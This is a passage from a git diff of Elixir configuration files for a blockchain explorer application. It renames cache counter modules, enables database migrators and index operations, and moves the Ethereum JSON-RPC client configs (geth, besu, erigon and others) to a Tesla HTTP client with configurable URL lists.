enabled: true -config :explorer, Explorer.Chain.Cache.AddressSum, +config :explorer, Explorer.Chain.Cache.Counters.AddressesCoinBalanceSum, enabled: true, ttl_check_interval: :timer.seconds(1) -config :explorer, Explorer.Chain.Cache.AddressSumMinusBurnt, +config :explorer, Explorer.Chain.Cache.Counters.AddressesCoinBalanceSumMinusBurnt, enabled: true, ttl_check_interval: :timer.seconds(1) -cache_address_with_balances_update_interval = System.get_env("CACHE_ADDRESS_WITH_BALANCES_UPDATE_INTERVAL") +config :explorer, Explorer.Chain.Cache.Counters.AddressesCount, + enabled: true, + enable_consolidation: true -balances_update_interval = - if cache_address_with_balances_update_interval do - case Integer.parse(cache_address_with_balances_update_interval) do - {integer, ""} -> integer - _ -> nil - end - end +config :explorer, Explorer.Chain.Cache.Counters.AddressTransactionsGasUsageSum, + enabled: true, + enable_consolidation: true -config :explorer, Explorer.Counters.AddressesWithBalanceCounter, - enabled: false, +config :explorer, Explorer.Chain.Cache.Counters.AddressTokensUsdSum, + enabled: true, + enable_consolidation: true + +update_interval_in_milliseconds_default = 30 * 60 * 1000 + +config :explorer, Explorer.Chain.Cache.Counters.ContractsCount, + enabled: true, enable_consolidation: true, - update_interval_in_seconds: balances_update_interval || 30 * 60 + update_interval_in_milliseconds: update_interval_in_milliseconds_default -config :explorer, Explorer.Counters.AddressesCounter, +config :explorer, Explorer.Chain.Cache.Counters.NewContractsCount, enabled: true, enable_consolidation: true, - update_interval_in_seconds: balances_update_interval || 30 * 60 + update_interval_in_milliseconds: update_interval_in_milliseconds_default -config :explorer, Explorer.Counters.AddressTransactionsGasUsageCounter, +config :explorer, Explorer.Chain.Cache.Counters.VerifiedContractsCount, enabled: true, - enable_consolidation: true + enable_consolidation: true, + update_interval_in_milliseconds: update_interval_in_milliseconds_default -config :explorer, Explorer.Counters.AddressTokenUsdSum, +config :explorer, Explorer.Chain.Cache.Counters.NewVerifiedContractsCount, enabled: true, - enable_consolidation: true + enable_consolidation: true, + update_interval_in_milliseconds: update_interval_in_milliseconds_default -config :explorer, Explorer.Chain.Cache.TokenExchangeRate, +config :explorer, Explorer.Chain.Cache.Counters.WithdrawalsSum, enabled: true, - enable_consolidation: true + enable_consolidation: true, + update_interval_in_milliseconds: update_interval_in_milliseconds_default + +config :explorer, Explorer.Chain.Cache.Counters.Stability.ValidatorsCount, + enabled: true, + enable_consolidation: true, + update_interval_in_milliseconds: update_interval_in_milliseconds_default + +config :explorer, Explorer.Chain.Cache.Counters.Blackfort.ValidatorsCount, + enabled: true, + enable_consolidation: true, + update_interval_in_milliseconds: update_interval_in_milliseconds_default + +config :explorer, Explorer.Chain.Cache.TransactionActionTokensData, enabled: true -config :explorer, Explorer.Counters.TokenHoldersCounter, +config :explorer, Explorer.Chain.Cache.TransactionActionUniswapPools, enabled: true + +config :explorer, Explorer.Market.Fetcher.Token, enabled: true + +config :explorer, Explorer.Chain.Cache.Counters.TokenHoldersCount, enabled: true, enable_consolidation: true -config :explorer, Explorer.Counters.TokenTransfersCounter, +config :explorer, Explorer.Chain.Cache.Counters.TokenTransfersCount, enabled: true, enable_consolidation: true -config :explorer, Explorer.Counters.AddressTransactionsCounter, +config :explorer, Explorer.Chain.Cache.Counters.AddressTransactionsCount, enabled: true, enable_consolidation: true -config :explorer, Explorer.Counters.AddressTokenTransfersCounter, +config :explorer, Explorer.Chain.Cache.Counters.AddressTokenTransfersCount, enabled: true, enable_consolidation: true -config :explorer, Explorer.Counters.BlockBurnedFeeCounter, +config :explorer, Explorer.Chain.Cache.Counters.BlockBurntFeeCount, enabled: true, enable_consolidation: true -config :explorer, Explorer.Counters.BlockPriorityFeeCounter, +config :explorer, Explorer.Chain.Cache.Counters.BlockPriorityFeeCount, enabled: true, enable_consolidation: true -config :explorer, Explorer.Chain.Cache.GasUsage, - enabled: System.get_env("CACHE_ENABLE_TOTAL_GAS_USAGE_COUNTER") == "true" +config :explorer, Explorer.TokenInstanceOwnerAddressMigration.Supervisor, enabled: true + +for migrator <- [ + # Background migrations + Explorer.Migrator.TransactionsDenormalization, + Explorer.Migrator.AddressCurrentTokenBalanceTokenType, + Explorer.Migrator.AddressTokenBalanceTokenType, + Explorer.Migrator.SanitizeMissingBlockRanges, + Explorer.Migrator.SanitizeIncorrectNFTTokenTransfers, + Explorer.Migrator.TokenTransferTokenType, + Explorer.Migrator.SanitizeIncorrectWETHTokenTransfers, + Explorer.Migrator.TransactionBlockConsensus, + Explorer.Migrator.TokenTransferBlockConsensus, + Explorer.Migrator.RestoreOmittedWETHTransfers, + Explorer.Migrator.SanitizeMissingTokenBalances, + Explorer.Migrator.SanitizeReplacedTransactions, + Explorer.Migrator.ReindexInternalTransactionsWithIncompatibleStatus, + Explorer.Migrator.SanitizeDuplicatedLogIndexLogs, + Explorer.Migrator.RefetchContractCodes, + Explorer.Migrator.BackfillMultichainSearchDB, + Explorer.Migrator.SanitizeVerifiedAddresses, + Explorer.Migrator.SmartContractLanguage, + Explorer.Migrator.SanitizeEmptyContractCodeAddresses, + Explorer.Migrator.BackfillMetadataURL, + Explorer.Migrator.SanitizeErc1155TokenBalancesWithoutTokenIds, + Explorer.Migrator.ReindexDuplicatedInternalTransactions, + Explorer.Migrator.MergeAdjacentMissingBlockRanges, + Explorer.Migrator.UnescapeQuotesInTokens, + Explorer.Migrator.SanitizeDuplicateSmartContractAdditionalSources + ] do + config :explorer, migrator, enabled: true +end + +for index_operation <- [ + # Heavy DB index operations + Explorer.Migrator.HeavyDbIndexOperation.CreateLogsBlockHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropLogsBlockNumberAscIndexAscIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateLogsAddressHashBlockNumberDescIndexDescIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropLogsAddressHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropLogsAddressHashTransactionHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropLogsIndexIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateLogsAddressHashFirstTopicBlockNumberIndexIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropInternalTransactionsFromAddressHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateInternalTransactionsBlockNumberDescTransactionIndexDescIndexDescIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersBlockNumberAscLogIndexAscIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersFromAddressHashTransactionHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersToAddressHashTransactionHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersTokenContractAddressHashTransactionHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropTokenTransfersBlockNumberIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropAddressesVerifiedIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedTransactionsCountDescHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesVerifiedFetchedCoinBalanceDescHashIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateSmartContractsLanguageIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropTransactionsCreatedContractAddressHashWithPendingIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropTransactionsFromAddressHashWithPendingIndex, + Explorer.Migrator.HeavyDbIndexOperation.DropTransactionsToAddressHashWithPendingIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateLogsDepositsWithdrawalsIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesTransactionsCountDescPartialIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateAddressesTransactionsCountAscCoinBalanceDescHashPartialIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateInternalTransactionsBlockHashTransactionIndexIndexUniqueIndex, + Explorer.Migrator.HeavyDbIndexOperation.CreateSmartContractAdditionalSourcesUniqueIndex + ] do + config :explorer, index_operation, enabled: true +end + +config :explorer, Explorer.Chain.Fetcher.CheckBytecodeMatchingOnDemand, enabled: true + +config :explorer, Explorer.Chain.Fetcher.FetchValidatorInfoOnDemand, enabled: true config :explorer, Explorer.Integrations.EctoLogger, query_time_ms_threshold: :timer.seconds(2) -config :explorer, Explorer.Chain.Cache.MinMissingBlockNumber, enabled: System.get_env("DISABLE_WRITE_API") != "true" +config :explorer, Explorer.Tags.AddressTag.Cataloger, enabled: true + +config :explorer, Explorer.SmartContract.CertifiedSmartContractCataloger, enabled: true + +config :explorer, Explorer.Utility.RateLimiter, enabled: true -config :explorer, Explorer.Repo, migration_timestamps: [type: :utc_datetime_usec] +config :explorer, Explorer.Utility.Hammer.Redis, enabled: true +config :explorer, Explorer.Utility.Hammer.ETS, enabled: true + +config :explorer, Explorer.Repo, + migration_timestamps: [type: :utc_datetime_usec], + disconnect_on_error_codes: [:query_canceled] config :explorer, Explorer.Tracer, service: :explorer, @@ -99,6 +202,10 @@ config :explorer, Explorer.Tracer, config :explorer, solc_bin_api_url: "https://solc-bin.ethereum.org" +config :explorer, :http_client, Explorer.HttpClient.Tesla + +config :explorer, Explorer.Chain.BridgedToken, enabled: ConfigHelper.parse_bool_env_var("BRIDGED_TOKENS_ENABLED") + config :logger, :explorer, # keep synced with `config/config.exs` format: "$dateT$time $metadata[$level] $message\n", @@ -112,6 +219,8 @@ config :spandex_ecto, SpandexEcto.EctoLogger, tracer: Explorer.Tracer, otp_app: :explorer +config :tesla, adapter: Tesla.Adapter.Mint + # Import environment specific config. This must remain at the bottom # of this file so it overrides the configuration defined above. import_config "#{config_env()}.exs" diff --git a/apps/explorer/config/dev.exs b/apps/explorer/config/dev.exs index 7d7bd024a703..ef5177a7c822 100644 --- a/apps/explorer/config/dev.exs +++ b/apps/explorer/config/dev.exs @@ -1,10 +1,41 @@ import Config # Configure your database -config :explorer, Explorer.Repo, timeout: :timer.seconds(80) +config :explorer, Explorer.Repo, + timeout: :timer.seconds(80), + migration_lock: nil -# Configure API database -config :explorer, Explorer.Repo.Replica1, timeout: :timer.seconds(80) +for repo <- [ + # Configure API database + Explorer.Repo.Replica1, + + # Feature dependent repos + Explorer.Repo.Account, + Explorer.Repo.BridgedTokens, + Explorer.Repo.ShrunkInternalTransactions, + Explorer.Repo.EventNotifications, + + # Chain-type dependent repos + Explorer.Repo.Arbitrum, + Explorer.Repo.Beacon, + Explorer.Repo.Blackfort, + Explorer.Repo.Celo, + Explorer.Repo.Filecoin, + Explorer.Repo.Mud, + Explorer.Repo.Optimism, + Explorer.Repo.PolygonEdge, + Explorer.Repo.PolygonZkevm, + Explorer.Repo.RSK, + Explorer.Repo.Scroll, + Explorer.Repo.Shibarium, + Explorer.Repo.Stability, + Explorer.Repo.Suave, + Explorer.Repo.Zilliqa, + Explorer.Repo.ZkSync, + Explorer.Repo.Neon + ] do + config :explorer, repo, timeout: :timer.seconds(80) +end config :explorer, Explorer.Tracer, env: "dev", disabled?: true diff --git a/apps/explorer/config/dev/anvil.exs b/apps/explorer/config/dev/anvil.exs new file mode 100644 index 000000000000..58e65a7b126c --- /dev/null +++ b/apps/explorer/config/dev/anvil.exs @@ -0,0 +1,31 @@ +import Config + +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + +config :explorer, + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.HTTP, + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), + method_to_url: [ + eth_call: :eth_call + ], + http_options: ConfigHelper.http_options(1) + ], + variant: EthereumJSONRPC.Anvil + ], + subscribe_named_arguments: [ + transport: EthereumJSONRPC.WebSocket, + transport_options: [ + web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") + ], + variant: EthereumJSONRPC.Anvil + ] diff --git a/apps/explorer/config/dev/arbitrum.exs b/apps/explorer/config/dev/arbitrum.exs deleted file mode 100644 index e3996f056d5e..000000000000 --- a/apps/explorer/config/dev/arbitrum.exs +++ /dev/null @@ -1,20 +0,0 @@ -import Config - -config :explorer, - json_rpc_named_arguments: [ - transport: EthereumJSONRPC.HTTP, - transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL") || "http://localhost:8545", - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] - ], - variant: EthereumJSONRPC.Arbitrum - ], - subscribe_named_arguments: [ - transport: EthereumJSONRPC.WebSocket, - transport_options: [ - web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") - ], - variant: EthereumJSONRPC.Arbitrum - ] diff --git a/apps/explorer/config/dev/besu.exs b/apps/explorer/config/dev/besu.exs index a277e2c68e06..b761b45abbf5 100644 --- a/apps/explorer/config/dev/besu.exs +++ b/apps/explorer/config/dev/besu.exs @@ -1,17 +1,26 @@ import Config +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + config :explorer, json_rpc_named_arguments: [ transport: EthereumJSONRPC.HTTP, transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL") || "http://localhost:8545", + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), method_to_url: [ - eth_call: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545", - eth_getBalance: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545", - trace_replayTransaction: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545" + eth_call: :eth_call, + eth_getBalance: :trace, + trace_replayTransaction: :trace ], - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] + http_options: ConfigHelper.http_options(1) ], variant: EthereumJSONRPC.Besu ], @@ -19,7 +28,8 @@ config :explorer, transport: EthereumJSONRPC.WebSocket, transport_options: [ web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") ], variant: EthereumJSONRPC.Besu ] diff --git a/apps/explorer/config/dev/erigon.exs b/apps/explorer/config/dev/erigon.exs index 6deadfa21fe9..a32d59ca293e 100644 --- a/apps/explorer/config/dev/erigon.exs +++ b/apps/explorer/config/dev/erigon.exs @@ -1,17 +1,26 @@ import Config +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + config :explorer, json_rpc_named_arguments: [ transport: EthereumJSONRPC.HTTP, transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL") || "http://localhost:8545", + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), method_to_url: [ - eth_call: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545", - eth_getBalance: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545", - trace_replayTransaction: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545" + eth_call: :eth_call, + eth_getBalance: :trace, + trace_replayTransaction: :trace ], - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] + http_options: ConfigHelper.http_options(1) ], variant: EthereumJSONRPC.Erigon ], @@ -19,7 +28,8 @@ config :explorer, transport: EthereumJSONRPC.WebSocket, transport_options: [ web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") ], variant: EthereumJSONRPC.Erigon ] diff --git a/apps/explorer/config/dev/filecoin.exs b/apps/explorer/config/dev/filecoin.exs new file mode 100644 index 000000000000..12882aa3d139 --- /dev/null +++ b/apps/explorer/config/dev/filecoin.exs @@ -0,0 +1,34 @@ +import Config + +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + +config :explorer, + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.HTTP, + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http, "http://localhost:1234/rpc/v1"), + trace_urls: ConfigHelper.parse_urls_list(:trace, "http://localhost:1234/rpc/v1"), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call, "http://localhost:1234/rpc/v1"), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), + method_to_url: [ + eth_call: :eth_call, + trace_block: :trace + ], + http_options: ConfigHelper.http_options(1) + ], + variant: EthereumJSONRPC.Filecoin + ], + subscribe_named_arguments: [ + transport: EthereumJSONRPC.WebSocket, + transport_options: [ + web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") + ], + variant: EthereumJSONRPC.Filecoin + ] diff --git a/apps/explorer/config/dev/ganache.exs b/apps/explorer/config/dev/ganache.exs deleted file mode 100644 index dcea3bb0490e..000000000000 --- a/apps/explorer/config/dev/ganache.exs +++ /dev/null @@ -1,20 +0,0 @@ -import Config - -config :explorer, - json_rpc_named_arguments: [ - transport: EthereumJSONRPC.HTTP, - transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL") || "http://localhost:7545", - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] - ], - variant: EthereumJSONRPC.Ganache - ], - subscribe_named_arguments: [ - transport: EthereumJSONRPC.WebSocket, - transport_options: [ - web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") - ], - variant: EthereumJSONRPC.Ganache - ] diff --git a/apps/explorer/config/dev/geth.exs b/apps/explorer/config/dev/geth.exs index f5ba58f1e4f8..0537f0d4d436 100644 --- a/apps/explorer/config/dev/geth.exs +++ b/apps/explorer/config/dev/geth.exs @@ -1,12 +1,26 @@ import Config +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + config :explorer, json_rpc_named_arguments: [ transport: EthereumJSONRPC.HTTP, transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL") || "http://localhost:8545", - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), + method_to_url: [ + eth_call: :eth_call, + debug_traceTransaction: :trace, + debug_traceBlockByNumber: :trace + ], + http_options: ConfigHelper.http_options(1) ], variant: EthereumJSONRPC.Geth ], @@ -14,7 +28,8 @@ config :explorer, transport: EthereumJSONRPC.WebSocket, transport_options: [ web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") ], variant: EthereumJSONRPC.Geth ] diff --git a/apps/explorer/config/dev/nethermind.exs b/apps/explorer/config/dev/nethermind.exs new file mode 100644 index 000000000000..995621848fe0 --- /dev/null +++ b/apps/explorer/config/dev/nethermind.exs @@ -0,0 +1,35 @@ +import Config + +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + +config :explorer, + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.HTTP, + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), + method_to_url: [ + eth_call: :eth_call, + eth_getBalance: :trace, + trace_replayTransaction: :trace + ], + http_options: ConfigHelper.http_options(1) + ], + variant: EthereumJSONRPC.Nethermind + ], + subscribe_named_arguments: [ + transport: EthereumJSONRPC.WebSocket, + transport_options: [ + web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") + ], + variant: EthereumJSONRPC.Nethermind + ] diff --git a/apps/explorer/config/dev/parity.exs b/apps/explorer/config/dev/parity.exs deleted file mode 100644 index 4008d5eb6d03..000000000000 --- a/apps/explorer/config/dev/parity.exs +++ /dev/null @@ -1,25 +0,0 @@ -import Config - -config :explorer, - json_rpc_named_arguments: [ - transport: EthereumJSONRPC.HTTP, - transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL") || "http://localhost:8545", - method_to_url: [ - eth_call: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545", - eth_getBalance: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545", - trace_replayTransaction: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545" - ], - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] - ], - variant: EthereumJSONRPC.Parity - ], - subscribe_named_arguments: [ - transport: EthereumJSONRPC.WebSocket, - transport_options: [ - web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") - ], - variant: EthereumJSONRPC.Parity - ] diff --git a/apps/explorer/config/dev/rsk.exs b/apps/explorer/config/dev/rsk.exs index 2e4a9da4609b..c18344ec8abb 100644 --- a/apps/explorer/config/dev/rsk.exs +++ b/apps/explorer/config/dev/rsk.exs @@ -1,17 +1,26 @@ import Config +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + config :explorer, json_rpc_named_arguments: [ transport: EthereumJSONRPC.HTTP, transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL") || "http://localhost:8545", + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: ConfigHelper.parse_urls_list(:trace), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_trace_urls: ConfigHelper.parse_urls_list(:fallback_trace), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), method_to_url: [ - eth_call: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545", - eth_getBalance: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545", - trace_replayTransaction: System.get_env("ETHEREUM_JSONRPC_TRACE_URL") || "http://localhost:8545" + eth_call: :eth_call, + eth_getBalance: :trace, + trace_replayTransaction: :trace ], - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] + http_options: ConfigHelper.http_options(1) ], variant: EthereumJSONRPC.RSK ], @@ -19,7 +28,8 @@ config :explorer, transport: EthereumJSONRPC.WebSocket, transport_options: [ web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") ], variant: EthereumJSONRPC.RSK ] diff --git a/apps/explorer/config/prod.exs b/apps/explorer/config/prod.exs index 8b42271e33b4..848311e6dfc5 100644 --- a/apps/explorer/config/prod.exs +++ b/apps/explorer/config/prod.exs @@ -3,12 +3,44 @@ import Config # Configures the database config :explorer, Explorer.Repo, prepare: :unnamed, - timeout: :timer.seconds(60) + timeout: :timer.seconds(60), + migration_lock: nil, + ssl_opts: [verify: :verify_none] -# Configures API the database -config :explorer, Explorer.Repo.Replica1, - prepare: :unnamed, - timeout: :timer.seconds(60) +for repo <- [ + # Configures API the database + Explorer.Repo.Replica1, + + # Feature dependent repos + Explorer.Repo.Account, + Explorer.Repo.BridgedTokens, + Explorer.Repo.ShrunkInternalTransactions, + Explorer.Repo.EventNotifications, + + # Chain-type dependent repos + Explorer.Repo.Arbitrum, + Explorer.Repo.Beacon, + Explorer.Repo.Blackfort, + Explorer.Repo.Celo, + Explorer.Repo.Filecoin, + Explorer.Repo.Mud, + Explorer.Repo.Optimism, + Explorer.Repo.PolygonEdge, + Explorer.Repo.PolygonZkevm, + Explorer.Repo.RSK, + Explorer.Repo.Scroll, + Explorer.Repo.Shibarium, + Explorer.Repo.Stability, + Explorer.Repo.Suave, + Explorer.Repo.Zilliqa, + Explorer.Repo.ZkSync, + Explorer.Repo.Neon + ] do + config :explorer, repo, + prepare: :unnamed, + timeout: :timer.seconds(60), + ssl_opts: [verify: :verify_none] +end config :explorer, Explorer.Tracer, env: "production", disabled?: true diff --git a/apps/explorer/config/prod/anvil.exs b/apps/explorer/config/prod/anvil.exs new file mode 100644 index 000000000000..58e65a7b126c --- /dev/null +++ b/apps/explorer/config/prod/anvil.exs @@ -0,0 +1,31 @@ +import Config + +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + +config :explorer, + json_rpc_named_arguments: [ + transport: EthereumJSONRPC.HTTP, + transport_options: [ + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + eth_call_urls: ConfigHelper.parse_urls_list(:eth_call), + fallback_urls: ConfigHelper.parse_urls_list(:fallback_http), + fallback_eth_call_urls: ConfigHelper.parse_urls_list(:fallback_eth_call), + method_to_url: [ + eth_call: :eth_call + ], + http_options: ConfigHelper.http_options(1) + ], + variant: EthereumJSONRPC.Anvil + ], + subscribe_named_arguments: [ + transport: EthereumJSONRPC.WebSocket, + transport_options: [ + web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, + url: System.get_env("ETHEREUM_JSONRPC_WS_URL"), + fallback_url: System.get_env("ETHEREUM_JSONRPC_FALLBACK_WS_URL") + ], + variant: EthereumJSONRPC.Anvil + ] diff --git a/apps/explorer/config/prod/arbitrum.exs b/apps/explorer/config/prod/arbitrum.exs deleted file mode 100644 index 3663189d3da1..000000000000 --- a/apps/explorer/config/prod/arbitrum.exs +++ /dev/null @@ -1,20 +0,0 @@ -import Config - -config :explorer, - json_rpc_named_arguments: [ - transport: EthereumJSONRPC.HTTP, - transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL"), - http_options: [recv_timeout: :timer.minutes(1), timeout: :timer.minutes(1), hackney: [pool: :ethereum_jsonrpc]] - ], - variant: EthereumJSONRPC.Arbitrum - ], - subscribe_named_arguments: [ - transport: EthereumJSONRPC.WebSocket, - transport_options: [ - web_socket: EthereumJSONRPC.WebSocket.WebSocketClient, - url: System.get_env("ETHEREUM_JSONRPC_WS_URL") - ], - variant: EthereumJSONRPC.Arbitrum - ] diff --git a/apps/explorer/config/prod/besu.exs b/apps/explorer/config/prod/besu.exs index 8eaada397108..b761b45abbf5 100644 --- a/apps/explorer/config/prod/besu.exs +++ b/apps/explorer/config/prod/besu.exs @@ -1,17 +1,26 @@ import Config +~w(config config_helper.exs) +|> Path.join() +|> Code.eval_file() + config :explorer, json_rpc_named_arguments: [ transport: EthereumJSONRPC.HTTP, transport_options: [ - http: EthereumJSONRPC.HTTP.HTTPoison, - url: System.get_env("ETHEREUM_JSONRPC_HTTP_URL"), + http: EthereumJSONRPC.HTTP.Tesla, + urls: ConfigHelper.parse_urls_list(:http), + trace_urls: 